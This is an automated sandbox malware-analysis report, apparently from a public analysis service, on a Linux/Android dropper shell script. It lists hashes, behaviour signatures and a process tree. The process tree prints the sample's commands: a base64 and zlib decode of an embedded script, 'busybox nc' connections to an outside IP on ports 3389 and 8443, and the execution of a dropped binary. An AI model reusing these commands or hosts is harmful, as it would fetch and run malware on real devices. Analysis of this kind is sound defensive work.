Overview

overview

7

Static

static

1

465d9e29fd...ion.sh

ubuntu-18.04-amd64

7

465d9e29fd...ion.sh

debian-9-armhf

7

465d9e29fd...ion.sh

debian-9-mips

7

465d9e29fd...ion.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    134s
  • max time network
    71s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/09/2026, 17:46

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
  • Size 832KB
  • Sample260913-wcjsds1bpg
  • SHA256 6c43d5384aecafd57738e21ba48b84e813429b2fab665a6fa7ac5cbe0a7a9a2f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
    /tmp/465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /bin/mktemp
      mktemp -d
      2⤵
        PID:719
      • /usr/bin/python3
        python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
        2⤵
          PID:724
        • /usr/bin/base64
          base64 -d
          2⤵
          • Deobfuscate/Decode Files or Information
          PID:723
        • /bin/chmod
          chmod +x /tmp/tmp.RiqYraRaLo/embedded.sh
          2⤵
          • File and Directory Permissions Modification
          PID:740
      • /bin/bash
        bash /tmp/tmp.RiqYraRaLo/embedded.sh
        1⤵
        • Executes dropped EXE
        PID:711
        • /bin/mkdir
          mkdir -p /data/local/tmp
          2⤵
          • Reads runtime system information
          PID:741
        • /bin/grep
          grep -q "^package:com.google.android.sys.update\$"
          2⤵
            PID:753
          • /bin/busybox
            busybox nc 147.182.169.126 3389
            2⤵
              PID:755
            • /bin/grep
              grep -q "Package \\[com.google.android.sys.update\\]"
              2⤵
                PID:757
              • /bin/busybox
                busybox nc 147.182.169.126 8443
                2⤵
                  PID:761
                • /bin/sleep
                  sleep 5
                  2⤵
                    PID:759
                  • /bin/rm
                    rm -f /data/local/tmp/me.apk /data/local/tmp/richy
                    2⤵
                      PID:821
                    • /bin/chmod
                      chmod 777 richy
                      2⤵
                      • File and Directory Permissions Modification
                      PID:860
                    • /data/local/tmp/richy
                      ./richy kieran
                      2⤵
                        PID:861

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          sh-thd.YdaV8M
                          • Path /tmp/sh-thd.YdaV8M
                          • Size 827KB
                          • SHA256 02c5719786945cbf40e3ddedecff2af16b01e58038b41d45e7f6acbc76958e24
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          embedded.sh
                          • Path /tmp/tmp.RiqYraRaLo/embedded.sh
                          • Size 2KB
                          • SHA256 465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download